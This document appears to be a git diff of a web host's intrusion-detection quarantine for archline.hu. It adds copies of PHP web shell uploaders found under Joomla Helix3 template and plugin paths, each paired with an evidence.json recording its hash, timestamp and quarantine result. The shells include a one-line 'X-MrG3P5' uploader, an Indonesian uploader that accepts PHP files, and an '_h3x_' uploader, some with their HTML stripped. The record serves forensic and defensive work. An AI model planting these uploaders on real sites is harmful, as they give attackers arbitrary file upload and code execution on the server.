b/var/www/hosting/archline.hu/www/mlegu.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/mlegu.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json b/var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json new file mode 100644 index 0000000..d605602 --- /dev/null +++ b/var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2871", + "log_excerpt": "[quarantine] www.archline.hu:mlegu.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/mlegu.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792279, + "size": 448, + "uid": 20043 + }, + "rel_path": "mlegu.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json new file mode 100644 index 0000000..f9a5ebd --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4743", + "log_excerpt": "[quarantine] www.archline.hu:modules/up_1uzuky.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812933, + "size": 448, + "uid": 20043 + }, + "rel_path": "modules/up_1uzuky.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json new file mode 100644 index 0000000..d5a63a8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4738", + "log_excerpt": "[quarantine] www.archline.hu:modules/up_4jykrt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813020, + "size": 448, + "uid": 20043 + }, + "rel_path": "modules/up_4jykrt.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/niegn.php.json b/var/www/hosting/archline.hu/www/niegn.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/niegn.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/niegn.php.json.evidence.json b/var/www/hosting/archline.hu/www/niegn.php.json.evidence.json new file mode 100644 index 0000000..9605d25 --- /dev/null +++ b/var/www/hosting/archline.hu/www/niegn.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2847", + "log_excerpt": "[quarantine] www.archline.hu:niegn.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/niegn.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792271, + "size": 448, + "uid": 20043 + }, + "rel_path": "niegn.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/orprr.php3.json b/var/www/hosting/archline.hu/www/orprr.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/orprr.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json b/var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json new file mode 100644 index 0000000..b276662 --- /dev/null +++ b/var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2845", + "log_excerpt": "[quarantine] www.archline.hu:orprr.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/orprr.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792281, + "size": 448, + "uid": 20043 + }, + "rel_path": "orprr.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..c9ea8b2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4727", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/core/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819444, + "size": 2852, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/core/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..fa3d7a0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4722", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819433, + "size": 2852, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json new file mode 100644 index 0000000..2f490b4 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4723", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/up_3vz7nx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812865, + "size": 448, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/up_3vz7nx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json new file mode 100644 index 0000000..47bc407 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4726", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/up_njn5a7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812965, + "size": 448, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/up_njn5a7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/qmszk.phtml.json b/var/www/hosting/archline.hu/www/qmszk.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qmszk.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json new file mode 100644 index 0000000..f40b453 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2848", + "log_excerpt": "[quarantine] www.archline.hu:qmszk.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/qmszk.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792275, + "size": 448, + "uid": 20043 + }, + "rel_path": "qmszk.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/qtu3ha5k.php.json b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json new file mode 100644 index 0000000..333f2f7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2911", + "log_excerpt": "[quarantine] www.archline.hu:qtu3ha5k.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/qtu3ha5k.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813041, + "size": 448, + "uid": 20043 + }, + "rel_path": "qtu3ha5k.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/rzrqw.php3.json b/var/www/hosting/archline.hu/www/rzrqw.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/rzrqw.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json b/var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json new file mode 100644 index 0000000..e3fa4ec --- /dev/null +++ b/var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2914", + "log_excerpt": "[quarantine] www.archline.hu:rzrqw.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/rzrqw.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950929, + "size": 448, + "uid": 20043 + }, + "rel_path": "rzrqw.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/sad.php.json b/var/www/hosting/archline.hu/www/sad.php.json new file mode 100644 index 0000000..df6212e --- /dev/null +++ b/var/www/hosting/archline.hu/www/sad.php.json @@ -0,0 +1 @@ +'.$n.'';}}?>
\ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/sad.php.json.evidence.json b/var/www/hosting/archline.hu/www/sad.php.json.evidence.json new file mode 100644 index 0000000..a5c5681 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sad.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2896", + "log_excerpt": "[quarantine] www.archline.hu:sad.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sad.php.json)", + "original_sha256": "d4f090c087ec604b4946b3bb987de438854011d6b0a8ea8f1c600df757f16b95", + "original_stat": { + "gid": 30037, + "mtime": 1783801961, + "size": 446, + "uid": 20043 + }, + "rel_path": "sad.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/scsda.php.json b/var/www/hosting/archline.hu/www/scsda.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/scsda.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/scsda.php.json.evidence.json b/var/www/hosting/archline.hu/www/scsda.php.json.evidence.json new file mode 100644 index 0000000..b37ac8e --- /dev/null +++ b/var/www/hosting/archline.hu/www/scsda.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2920", + "log_excerpt": "[quarantine] www.archline.hu:scsda.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/scsda.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811768, + "size": 448, + "uid": 20043 + }, + "rel_path": "scsda.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/sffiv.php5.json b/var/www/hosting/archline.hu/www/sffiv.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sffiv.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json b/var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json new file mode 100644 index 0000000..8b05c64 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2935", + "log_excerpt": "[quarantine] www.archline.hu:sffiv.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sffiv.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813987, + "size": 448, + "uid": 20043 + }, + "rel_path": "sffiv.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/slguf.phar.json b/var/www/hosting/archline.hu/www/slguf.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/slguf.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json b/var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json new file mode 100644 index 0000000..353cdf6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2934", + "log_excerpt": "[quarantine] www.archline.hu:slguf.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/slguf.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811771, + "size": 448, + "uid": 20043 + }, + "rel_path": "slguf.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/sokeo.php7.json b/var/www/hosting/archline.hu/www/sokeo.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sokeo.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json b/var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json new file mode 100644 index 0000000..c029d25 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2925", + "log_excerpt": "[quarantine] www.archline.hu:sokeo.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sokeo.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811778, + "size": 448, + "uid": 20043 + }, + "rel_path": "sokeo.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json new file mode 100644 index 0000000..af5ab12 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json @@ -0,0 +1,32 @@ +$target"; + } else { + echo "❈ Upload failed!"; + } + exit; +} +?> + + +Upload + +
+

📤 UPLOAD

+ +

+ +
+ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json new file mode 100644 index 0000000..21b4886 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2975", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/_h3x_64e2a63c.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json)", + "original_sha256": "472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a", + "original_stat": { + "gid": 30037, + "mtime": 1783863653, + "size": 1102, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/_h3x_64e2a63c.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json new file mode 100644 index 0000000..af5ab12 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json @@ -0,0 +1,32 @@ +$target"; + } else { + echo "❈ Upload failed!"; + } + exit; +} +?> + + +Upload + +
+

📤 UPLOAD

+ +

+ +
+ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json new file mode 100644 index 0000000..f5cdbd8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2966", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/_h3x_e7130968.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json)", + "original_sha256": "472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a", + "original_stat": { + "gid": 30037, + "mtime": 1783863662, + "size": 1102, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/_h3x_e7130968.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..2d6523e --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2996", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/css/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819463, + "size": 2852, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/css/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; 